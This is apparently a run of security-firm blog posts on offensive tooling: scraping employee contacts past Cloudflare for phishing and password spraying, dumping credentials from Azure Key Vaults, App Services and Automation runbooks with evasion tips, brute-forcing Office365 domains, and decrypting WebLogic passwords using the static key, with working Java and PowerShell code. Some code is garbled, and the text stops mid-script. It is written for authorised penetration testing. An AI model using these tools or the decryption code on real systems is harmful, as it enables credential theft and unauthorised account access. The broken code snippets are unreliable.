Collecting Contacts from

For our client engagements, we are constantly searching for new methods of open source intelligence (OSINT) gathering. This post will specifically focus on targeting client contact collection from a site we have found to be very useful ( and will describe some of the hurdles we needed to overcome to write automation around site scraping. We will also be demoing and publishing a simple script to hopefully help the community add to their OSINT arsenal.

Reasons for Gathering Employee Names

The benefits of employee name collection via OSINT are well-known within the security community. Several awesome automated scrapers already exist for popular sources (*cough* LinkedIn *cough*). A scraper is a common term used to describe a script or program that parses specific information from a webpage, often from an unauthenticated perspective. The employee names scraped (collected/parsed) from OSINT sources can trivially be converted into email addresses and/or usernames if one already knows the target organization’s formats. Common formats are pretty intuitive, but below are a few examples.

Name example: Jack B. Nibble

Img D D B A

On the offensive side, a few of the most popular use cases for these collections of employee names, emails, and usernames are:

  • Credential stuffing
  • Email phishing
  • Password spraying

Credential stuffing utilizes breach data sources in an attempt to log into a target organization’s employees’ accounts. These attacks rely on the stolen credentials being recycled by employees on the compromised platforms, e.g., Jack B. Nibble used his work email address with the password JackisGreat10! to sign up for LinkedIn before a breach and he is reusing the same credentials for his work account.

Email phishing has long been one of the easiest ways to breach an organization’s perimeter, typically needing just one user to fall victim to a malicious email.

Password spraying aims to take the employee names gathered via OSINT, convert them into emails/usernames, and attempt to use them in password guessing attacks against single factor (typically) management interfaces accessible from the internet.

During password spraying campaigns, attackers will guess very common passwords – think Password19 or Summer19. The goal of these password sprays is to yield at least one correct employee login, granting the attacker unauthorized access to the target organization’s network/resources in the context of the now compromised employee. The techniques described here are not only utilized by ethical security professionals to demonstrate risk, they are actively being exploited by state sponsored Cyber Actors.

Img D D A

Issues with Scraping

With the basic primer out of the way, let’s talk about scraping in general as we lead into the actual script. The concepts discussed here will be specific to our example but can also be applied to similar scenarios. At their core, all web scrapers need to craft HTTP requests and parse responses for the desired information (Burp Intruder is great for ad-hoc scraping). All of the heavy lifting in our script will be done with Python3 and a few libraries.

Some of the most common issues we’ve run into while scraping OSINT sources are:

  • Throttling (temporary slow-downs based on request rate)
  • Rate-limiting (temporary blocking based on request rate)
  • Full-blown bans (permanent blocking based on request rate)

While implementing our scraper for, our biggest hurdle was throttling and ultimately rate-limiting. The site employs a very popular DDoS protection and mitigation framework in Cloudflare’s I’m Under Attack Mode (IUAM). The goal of IUAM is to detect if a site is being actively attacked by a botnet that is attempting to take the site offline. If Cloudflare decides a person is accessing multiple different pages on a website too rapidly, IUAM will send a JavaScript challenge to that person’s browser, similar to this:

As part of normal browsing activity via web browser, this challenge would be automatically solved, a cookie would be set, and the user would go about their merry way. The issue arises when we are using an automated script that cannot process JavaScript and does not automatically set the correct cookies. At this point, IUAM would hold our script hostage and it would not be able to continue scraping. For our purposes, we will call this throttling. Another issue arises if we are able to solve the IUAM challenge but are still crossing Cloudflare’s acceptable thresholds for number of requests made within certain time frames. When we cross that threshold, we are hit with a 429 response from the application, which is the HTTP status code for Too Many Requests. We will refer to this as rate-limiting. Pushing even faster may result in a full-blown ban, so we will not poke Cloudflare too hard with our scraper.

Dealing with Throttling and Rate-limiting

In our attempts to push the script forward, we needed to overcome throttling and rate-limiting to successfully scrape. During initial tests, we noticed simple delays via sleep statements within our script would prevent the IUAM from kicking in, but only for a short while. Eventually IUAM would take notice of us, so sleep statements alone would not scale well for most of our needs. Our next thought was to implement Tor, and just switch exit nodes each time we noticed a ban. The Tor Stem library was perfect for this, with built-in control for identifying and programmatically switching exit nodes via Python. Unfortunately, after implementing this idea, we realized would not accept connections via Tor exit nodes. Another simple transition would have been to use other VPN services or even switching via VPS’, but again, this solution would not scale well for our purposes.

I had considered just spinning up an invisible or headless browser to interact with the site that could also interact with the JavaScript. In this way, Cloudflare (and hopefully any of our future targets) would only see a ‘normal’ browser interacting with their content, thus avoiding our throttling issues. While working to implement this idea, I was pointed instead to an awesome Python library called cloudscraper:

The cloudscraper library does all the heavy lifting of interacting with the JavaScript challenges and allows our scraper to continue while avoiding throttling. We are then only left with the issue of potential rate-limiting. To avoid this, our script also has built-in delays in an attempt to appease Cloudflare. We haven’t come up with an exact science behind this, but it appears that a delay of sixty seconds every ten requests is enough to avoid rate-limiting, with short random delays sprinkled in between each request for good measure.

python3 -z netspi-llc/36078304 -d

[*] Requesting page 1
[+] Found! Parsing page 1
[*] Random sleep break to appease CloudFlare
[*] Requesting page 2
[+] Found! Parsing page 2
[*] Random sleep break to appease CloudFlare
[*] Requesting page 3
[+] Site returned status code:  410
[+] We seem to be at the end! Yay!
[+] Printing email address list

..output truncated..

[+] Found 49 names!

Preventing Automated Scrapers

Vendors or website owners concerned about automated scraping of their content should consider placing any information they deem ‘sensitive’ behind authentication walls. The goal of Cloudflare’s IUAM is to prevent DDoS attacks (which we are vehemently not attempting), with the roadblocks it brings to automated scrapers being just an added bonus. Roadblocks such as this should not be considered a safeguard against automated scrapers that play by the rules.


This script is not intended to be all-encompassing for your OSINT gathering needs, but rather a minor piece that we have not had a chance to bolt on to a broader toolset. We are presenting it to the community because we have found a lot of value with it internally and hope to help further advance the security community. Feel free to integrate these concepts or even the script into your own toolsets.

The script and full instructions for use can be found here:


Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions

During different types of assessments (web app, network, cloud), we will run into situations where we obtain domain credentials that can be used to log into Azure subscriptions. Most commonly, we will externally guess credentials for a privileged domain user, but we’ve also seen excessive permissions in web applications that use Azure AD for authentication.

If we’re really lucky, we’ll have access to a user that has rights (typically Owner or Contributor) to access sensitive information in the subscription. If we have privileged access, there are three specific areas that we typically focus on for gathering credentials:

  • Key Vaults
  • App Services Configurations
  • Automation Accounts

There are other places that application/domain credentials could be hiding (See Storage Account files), but these are the first couple of spots that we want to check for credentials.

In this post, we’ll go over the key areas where credentials are commonly found and the usage of a PowerShell script (a part of MicroBurst) that I put together to automate the process of gathering credentials from an Azure environment.

Key Vaults

Azure Key Vaults are Microsoft’s solution for storing sensitive data (Keys, Passwords/Secrets, Certs) in the Azure cloud. Inherently, Key Vaults are great sources for finding credential data. If you have a user with the correct rights, you should be able to read data out of the key stores.

Here’s a quick overview of setting permissions for Key Vaults –

An example Key Vault Secret:


For dumping Key Vault values, we’re using some standard Azure PowerShell commands:

  • Get-AzureKeyVaultKey
  • Get-AzureKeyVaultSecret

If you’re just looking at exporting one or two secrets, these commands can be run individually. But since we’re typically trying to access everything that we can in an Azure subscription, we’ve automated the process in the script. The script will export all of the secrets in cleartext, along with any certificates. You also have the option to save the certificates locally with the -ExportCerts flag.

With access to the keys, secrets, and certificates, you may be able to use them to pivot through systems in the Azure subscription. Additionally, I’ve seen situations where administrators have stored Azure AD user credentials in the Key Vault.

App Services Configurations

Azure App Services are Microsoft’s option for rapid application deployment. Applications can be spun up quickly using app services and the configurations (passwords) are pushed to the applications via the App Services profiles.

In the portal, the App Services deployment passwords are typically found in the “Publish Profile” link that can be found in the top navigation bar within the App Services section. Any user with contributor rights to the application should be able to access this profile.


For dumping App Services configurations, we’re using the following AzureRM PowerShell commands:

  • Get-AzureRmWebApp
  • Get-AzureRmResource
  • Get-AzureRmWebAppPublishingProfile

Again, if this is just a one-off configuration dump, it’s easy to grab the profile from the web portal. But since we’re looking to automate this process, we use the commands above to list out the available apps and profiles for each app. Once the publishing profile is collected by the script, it is then parsed and credentials are returned in the final output table.

Potential next steps include uploading a web shell to the App Services web server, or using any parsed connection strings included in the deployment to access the databases. With access to the databases, you could potentially use them as a C2 channel. Check out Scott’s post for more information on that.

Automation Accounts

Automation accounts are one of the ways that you can automate tasks on Azure subscriptions. As part of the automation process, Azure allows these accounts to run code in the Azure environment. This code can be PowerShell or Python, and it can also be very handy for pentesting activities.


The automation account credential gathering process is particularly interesting, as we will have to run some PowerShell in Azure to actually get the credentials for the automation accounts. This section of the script will deploy a Runbook as a ps1 file to the Azure environment in order to get access to the credentials.

Basically, the automation script is generated in the tool and includes the automation account name that we’re gathering the credentials for.

$myCredential = Get-AutomationPSCredential -Name 'ACCOUNT_NAME_HERE'</code><code>$userName = $myCredential.UserName</code><code>$password = $myCredential.GetNetworkCredential().Password</code><code>write-output "$userName"</code><code>write-output "$password"

This Microsoft page was a big help in getting this section of the script figured out. Dumping these credentials can take a minute, as the automation script needs to be spooled up and ran on the Azure side.

This method of grabbing Automation Account credentials is not the most OpSec safe, but the script does attempt to clean up after itself by deleting the Runbook. As long as the Runbook is successfully deleted at the end of the run, all that will be left is an entry in the Jobs page.


To help with obscuring these activities, the script generates 15-character job names for each Runbook so it’s hard to tell what was actually run. If you want, you can modify the jobName variable in the code to name it something a little more in line with the tutorial names, but the random names help prevent issues with naming conflicts.


Since the Automation Account credentials are user generated, there’s a chance that the passwords are being reused somewhere else in the environment, but your mileage may vary.

Script Usage

In order for this script to work, you will need to have the AzureRM and Azure PowerShell modules installed. Both modules have different ways to access the same things, but together, they can access everything that we need for this script.

  • Install-Module -Name AzureRM
  • Install-Module -Name Azure

The script will prompt you to install if they’re not already installed, but it doesn’t hurt to get those installed before we start.

*Update (3/19/20) – I’ve updated the scripts to be Az module compliant, so if you’re already using the Az modules, you can use the Get-AzPasswords (versus Get-AzurePasswords) instead.

The usage of this tool is pretty simple.

  1. Download the code from GitHub –
  2. Load up the module
    1. Import-Module .Get-AzurePasswords.ps1
    2. or load the script file into the PowerShell ISE and hit F5
  3. Get-AzurePasswords -Verbose
    1. Either pipe to Out-Gridview or to Export-CSV for easier parsing
    2. If you’re not already authenticated to the Azure console, it will prompt you to login.
    3. The script will also prompt you for the subscription you would like to use
  4. Review your creds, access other systems, take over the environment

If you’re having issues with the PowerShell execution policy, I have it on good authority that there’s at least 15 different ways that you can bypass the policy.

Sample Output:

  • Get-AzurePasswords -Verbose | Out-GridView



*The PowerShell output above and the Out-Gridview output has been redacted to protect the privacy of my test Azure subscription.

Alternatively, you can pipe the output to Export-CSV to save the credentials in a CSV. If you don’t redirect the output, the credentials will just be returned as data table entries.


There’s a fair number of places where credentials can hide in an Azure subscription, and there’s plenty of uses for these credentials while attacking an Azure environment. Hopefully this script helps automate your process for gathering those credentials.

For those that have read “Pentesting Azure Applications“, you may have noticed that they call out the same credential locations in the “Other Azure Services” chapter. I actually had most of this script written prior to the book coming out, but the book really helped me figure out the Automation account credential section.

If you haven’t read the book yet, and want a nice deep dive on Azure security, you can get it from no starch press –


Targeting Passwords for Managed and Federated Microsoft Accounts

The Basics

With the continual rise in popularity of cloud services, Microsoft launched their Azure cloud infrastructure in early 2010, which eventually went on to support their Virtual Machines, Cloud Services, and Active Directory Domain Services. There are two different ways a Microsoft domain can support cloud authentication; managed and federated. A federated domain is one whose authentication communicates with on-site federation providers such as Active Directory Federation Services (ADFS). These on-site providers communicate with the internal Active Directory domain controllers to determine if a user’s username and password are correct. In contrast, managed domains communicate solely with Microsoft’s cloud infrastructure and pass the provided username and password to Windows Azure Active Directory to validate authorization. It is worth noting that on premise Active Directory can be synced with Azure, meaning that usernames and passwords have a decent chance of being shared across the two.

Use Case

During external penetration tests, it’s common to attempt password guessing against available services to attempt to gain a foothold within an application or environment. This includes testing weak passwords for externally available domain services such as Office365, OWA, and VPN, among others. Being able to quickly and efficiently obtain the correct URI and perform password guessing across domains leaves more time for other fun testing. So I went on a search to find a program or script that could help automated password attempts against these cloud friendly services. My coworker Karl Fosaaen recently released a script and blog on identifying federated and managed domains with PowerShell. This prompted me to write a natural continuation on the subject by adding automated password guessing. The end result is Invoke-ExternalDomainBruteforce.psm1, a password bruteforce tool for managed and federated domains. Features of the script include:

  • Automatically identifying managed or federated domains
  • Single email or email list password guessing

Get the code here:

Below is an overview for each password guessing scenario. Please note that single email and email lists are supported by both Managed and Federated domains.

Single email targeting against a managed domain

Currently, there is no elegant way to exit from a successful connection to Microsoft’s Managed infrastructure in PowerShell. Because of this, the script outputs a warning informing the attacker that any commands run against a Managed domain will be run as the user displayed in the output. A potential workaround is to use PowerShell sessions, allowing you can successfully create and destroy sessions connected to managed domains. However, in the interest of not requiring local admin, avoiding major state changes to a computer by enabling PowerShell remoting, and simplicity, I decided to simply warn the user to exit their current PowerShell session to avoid any unintended changes within the managed domain.

Password Targeting

Email list targeting against a Federated domain

Targeting against a Federated domain will first identify the Authentication URL, then send an ADFSSecurityTokenRequest to the URL with the provided username and password. A valid username and password combination only returns a token value, meaning no active sessions are stored in the current PowerShell session. After all the usernames have been tested, the Authentication URL is also printed out for an attacker to visit the site and manually log in.

Password Targeting


The code to connect to both Federated and Managed domains was taken from Microsoft. Below are the links to download that code:


Managed (Azure AD Powershell module):

Limitations / Future Work

Currently the script can only target one domain at a time. In the near future I’ll update the script to target multiple domains at once.



Decrypting WebLogic Passwords

The following blog walks through part of a recent penetration test and the the decryption process for WebLogic passwords that came out of it. Using these passwords I was able to escalate onto other systems and Oracle databases. If you just want code and examples to perform this yourself, head here:


Recently on an internal penetration test I came across a couple of Linux servers with publicly accessible Samba shares. Often times, open shares contain something interesting. Whether it be user credentials or sensitive information, and depending on the client, open shares will contain something useful. In this instance, one of the shares contained a directory named “wls1035”. Going through the various acronyms in my head for software, this could either be Windows Live Spaces or WebLogic Server. Luckily it was the later and not Microsoft’s failed blogging platform.

WebLogic is an application server from Oracle for serving up enterprise Java applications. I was somewhat familiar with it, as I do see it time to time in enterprise environments, but I’ve never actually installed it or taken a look at its file structure. At this point I started to poke around the files to see if I could find anything useful, such as credentials. Doing a simple grep search for “password” revealed a whole lot of information. (This is not actual client data)

user@box:~/wls1035# grep -R "password" *
Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches
oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom:    &lt;!-- and password for your server here. --&gt;
user_projects/domains/mydomain/bin/  to your system password for no username and password prompt 
user_projects/domains/mydomain/bin/ WLS_PW         - cleartext password for server shutdown
user_projects/domains/mydomain/bin/	if [ "${password}" != "" ] ; then
user_projects/domains/mydomain/bin/		wlsPassword="${password}"
user_projects/domains/mydomain/bin/ "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" &gt;&gt;"shutdown-${SERVER_NAME}.py" 
user_projects/domains/mydomain/bin/	JAVA_OPTIONS="${JAVA_OPTIONS}${WLS_PW}"
user_projects/domains/mydomain/bin/ "*  password assigned to an admin-level user.  For *"
user_projects/domains/mydomain/bin/nodemanager/    if [ -n "$username" -a -n "$password" ]; then
user_projects/domains/mydomain/bin/nodemanager/       print_info "Investigating username: '$username' and password: '$password'"
user_projects/domains/mydomain/bin/nodemanager/       echo "password=$password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/bin/nodemanager/       unset username password
user_projects/domains/mydomain/bin/nodemanager/       echo "password=$Password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;

There weren’t any cleartext passwords, but there were encrypted ones in the same style as this: {AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=
I then narrowed down my search to see if I could find more of these passwords. This was the result:

user@box:~/wls1035# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A="&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&gt;{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL&lt;/credential-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;node-manager-password-encrypted&gt;{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=&lt;/node-manager-password-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&gt;{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C&lt;/credential-encrypted&gt;

There were a lot of encrypted passwords and that fueled my need to know what they contain. Doing a simple base64 decode didn’t reveal anything, but I didn’t expect it to, based on each string being prepended with {AES}. In older versions of WebLogic the encryption algorithm is 3DES (Triple DES) which has a format similar to this: {3DES}JMRazF/vClP1WAgy1czd2Q== . This must mean there was a key that was used for encrypting, which means the same key is used for decrypting. To properly test all of this, I needed to install my own WebLogic server.

WebLogic is free from Oracle and is located here. For this blog I am using version 12.1.3. Installing WebLogic can be a chore in and of itself and I won’t be covering it. One take away from the installation is configuring a new domain. This shouldn’t be confused with Windows domain. Quoting the WebLogic documentation, “A domain is the basic administration unit for WebLogic Server instances.” Every domain contains security information. This can be seen in the grep command from above. All the file paths that contain encrypted passwords are within the mydomain directory.

Now that I had my own local WebLogic server installed, it was time to find out how to decrypt the passwords. Some quick googling resulted in a few Python scripts that could do the job. Interestingly enough, WebLogic comes with a scripting tool called WLST (WebLogic Scripting Tool) that allows Python to run WebLogic methods. This includes encryption and decryption methods. We can also run it standalone to just encrypt:

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt('password')
wls:/offline&gt; print pw

To decrypt, I used the following python script from Oracle.

import os

def decrypt(agileDomain, encryptedPassword):
    agileDomainPath = os.path.abspath(agileDomain)
    encryptSrv =
    ces =
    password = ces.decrypt(encryptedPassword)
    print "Plaintext password is:" + password

    if len(sys.argv) == 3:
        decrypt(sys.argv[1], sys.argv[2])
		print "Please input arguments as below"
		print "		Usage 1: java weblogic.WLST  "
		print "		Usage 2: decryptWLSPwd.cmd "
		print "Example:"
		print "		java weblogic.WLST C:AgileAgile933agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
		print "		decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
    print "Exception: ", sys.exc_info()[0]

To test this script I needed to use an encrypted password from my newly installed WebLogic server. Using the same grep command from above returns the same number of results:

root@kali:~/wls12130# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml: &lt;nod:password&gt;{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml: &lt;user name="OracleSystemUser" password="{AES}gTRFf+pONckQsJ55zXOw5JPfcsdNTC0lAURre/3zK0Q=" description="Oracle application software system user."&gt;
user_projects/domains/mydomain/init-info/security.xml: &lt;user name="netspi" password="{AES}Dm/Kp/TkdGwaikv3QD40UBhFQQAVtfbEXEwRjR0RpHc="&gt;
user_projects/domains/mydomain/config/config.xml: &lt;credential-encrypted&gt;{AES}KKGUxV84asQMrbq74ap373LNnzsXbchoJKu8IxecSlZmXCrnBrb+6hr8Z8bOCIHTSKXSl9myvwYQ2cXQ7klCF7wxqlkf0oOHw2VaFdFtlNAY1TuFGmkByRW4xaV2ITSo&lt;/credential-encrypted&gt;
user_projects/domains/mydomain/config/config.xml: &lt;node-manager-password-encrypted&gt;{AES}mY78lCyPd5GmgEf7v5qYTQvowjxAo4m8SwRI7rJJktw=&lt;/node-manager-password-encrypted&gt;
user_projects/domains/mydomain/config/config.xml: &lt;credential-encrypted&gt;{AES}/0yRcu56nfpxO+aTceqBLf3jyYdYR/j1+t4Dz8ITAcoAfsKQmYgJv1orfpNHugPM&lt;/credential-encrypted&gt;

Taking the first encrypted password and throwing it into the Python script did indeed return the cleartext password for my newly created domain:

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

Plaintext password is:Password1

The only problem is, we had to be attached to WebLogic to get it. I want to be able to decrypt passwords without having to run scripts through WebLogic.

Down the Rabbit Hole

My first steps in figuring out how passwords are both encrypted and decrypted was to look at the Python script we obtained and see what libraries the script is calling. The first thing it does import the following:


It then makes the following method calls within the decrypt function:

encryptSrv =
ces =
password = ces.decrypt(encryptedPassword)

The first line takes the path of the domain as a parameter. In our case, the domain path is /root/wls12130/user_projects/domains/mydomain . What the  call does next is look for the SerializedSystemIni.dat file within the security directory. The SerializedSystemIni.dat file contains the salt and encryption keys for encrypting and decrypting passwords. It’s read byte-by-byte in a specific order. Here’s a pseudocode version of what’s going on along with an explanation for each line.

file = “SerializedSystemIni.dat”
numberofbytes = file.ReadByte()
salt = file.ReadBytes(byte)
encryptiontype = file.ReadByte()
numberofbytes = file.ReadByte()
encryptionkey = file.ReadBytes(numberofbytes)
if encryptiontype == AES then
	numberofbytes = file.ReadByte()
	encryptionkey = file.ReadBytes(numberofbytes)
  1. The first thing that happens is the first byte of the file is read. That byte is an integer for the number of bytes in the salt.
  2. The salt portion is then read up to the amount of bytes that were specified in the byte variable.
  3. The next byte is then read, which is assigned to the encryptiontype variable.
  4. Then the next byte is read, which is another integer for how many bytes should be read for the encryptionkey.
  5. The bytes for the encryptionkey are read.
  6. Now, if the encryptiontype is equal to AES, we go into the if statement block.
  7. The next byte is read, which is the number of bytes in the encryptionkey.
  8. The bytes for the encryptionkey are read.

As I noted before, WebLogic uses two encryption algorithms depending on the release. These are 3DES and AES. This is where the two encryption keys come into play from above. If 3DES is in use, the first encryption key is used. If AES is used, the second encryption key is used.

After doing a little bit of searching, I figured out that BouncyCastle is the library that is performing all the crypto behind the scenes. The next step is to start implementing the decryption ourselves. We have at least some idea of what is going on under the hood. For now, we will just focus on the AES decryption portion instead of 3DES. I’m not terribly familiar with BouncyCastle or Java crypto implementation, so I did some googling on how to implement AES decryption with it. The result is the following snippet of code:

IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);

byte[] cleartext = outCipher.doFinal(encryptedPassword);

This code is promising, but unfortunately doesn’t work. We don’t know what the IV is and using the encryption key as the SecretKeySpec won’t work because it’s not the correct type. Plus we have this salt that is probably used somewhere. After many hours of digging I figured out that the IV happens to be the first 16 bytes of the base64 decoded ciphertext and the encrypted password is the last 16 bytes. I made an educated guess that the salt is probably part of the PBEParameterSpec, because the first parameter in the documentation for it is a byte array named salt. The encryption key that we have also happens to be encrypted itself. So now we have to decrypt the encryption key and then use that to decrypt the password. I found very few examples of this type of encryption process, but after more time I was finally able to put the following code together:

PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);

Cipher cipher = Cipher.getInstance(algorithm);
cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionkey), "AES");

byte[] iv = new byte[16];
System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
byte[] encryptedPassword2 = new byte[16];
System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);

byte[] cleartext = outCipher.doFinal(encryptedPassword2);

So now we have a decryption process for the encryption key, but we don’t know the key that decrypts it that or the algorithm that is being used.

I found that WebLogic uses this algorithm PBEWITHSHAAND128BITRC2-CBC  and the key that is being used happens to be static across every installation of WebLogic, which is the following:


Now we can fix our code up a bit. Looking through examples of password based encryption in BouncyCastle, this seemed to maybe be right.

SecretKeyFactory keyFact = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");

PBEKeySpec pbeKeySpec = new PBEKeySpec(password,salt,iterations);

SecretKey secretKey = keyFact.generateSecret(pbeKeySpec);

The PBEKeySpec takes a password, salt, and iteration count.  The password will be our static key string, but we have to convert it to a char array first. The second is our salt, which we already know. The third is an iteration count, which we do not know. The iteration count happens to be five. I actually just wrote a wrapper around the method and incremented values until I got a successful result.
Here is our final code:

public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException {

    byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
    byte[] salt = null;
    byte[] encryptionKey = null;

    String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56";

    char password[] = new char[key.length()];

    key.getChars(0, password.length, password, 0);

    FileInputStream is = new FileInputStream(SerializedSystemIni);
    try {
        salt = readBytes(is);

        int version =;
        if (version != -1) {
            encryptionKey = readBytes(is);
            if (version &gt;= 2) {
                encryptionKey = readBytes(is);
    } catch (IOException e) {


    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");

    PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5);

    SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec);

    PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);

    Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC");
    cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
    SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES");

    byte[] iv = new byte[16];
    System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
    byte[] encryptedPassword2 = new byte[16];
    System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);

    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
    Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);

    byte[] cleartext = outCipher.doFinal(encryptedPassword2);

    return new String(cleartext, "UTF-8");


We run this with our SerializedSystemIni.dat file as the first argument and the encrypted password as the second without the prepended {AES}. The result returns our password!

Img D Abf

As an exercise, I wanted to do this without having to touch Java ever again. So I decided to try it in PowerShell, everyone’s favorite pentest scripting. BouncyCastle provides a DLL that we can use to perform the decryption. We just have to use reflection within the PowerShell code to call the methods. The result is the following PowerShell code:

    Author: Eric Gruber 2015, NetSPI
    PowerShell script to decrypt WebLogic passwords
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q=="
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="
function Invoke-WebLogicPasswordDecryptor
        [Parameter(Mandatory = $true,
        Position = 0)]

        [Parameter(Mandatory = $true,
        Position = 0)]

        [Parameter(Mandatory = $false,
        Position = 0)]

    if (!$BouncyCastle)
        $BouncyCastle = '.BouncyCastle.Crypto.dll'

    Add-Type -Path $BouncyCastle

    $Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56'
    $Pass = $Pass.ToCharArray()

    if ($CipherText.StartsWith('{AES}'))
        $CipherText = $CipherText.TrimStart('{AES}')
    elseif ($CipherText.StartsWith('{3DES}'))
        $CipherText = $CipherText.TrimStart('{3DES}')

    $DecodedCipherText = [System.Convert]::FromBase64String($CipherText)

    $BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite))
    $NumberOfBytes = $BinaryReader.ReadByte()
    $Salt = $BinaryReader.ReadBytes($NumberOfBytes)
    $Version = $BinaryReader.ReadByte()
    $NumberOfBytes = $BinaryReader.ReadByte()
    $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

    if ($Version -ge 2)
        $NumberOfBytes = $BinaryReader.ReadByte()
        $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

        $ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
        $ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText

    Write-Host "Password:" $ClearText


function Decrypt-AES




    $EncryptionCipher = 'AES/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

    $IV = New-Object -TypeName byte[] -ArgumentList 16

    [array]::Copy($DecodedCipherText,0,$IV, 0 ,16)

    $CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16)
    [array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16))

    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)

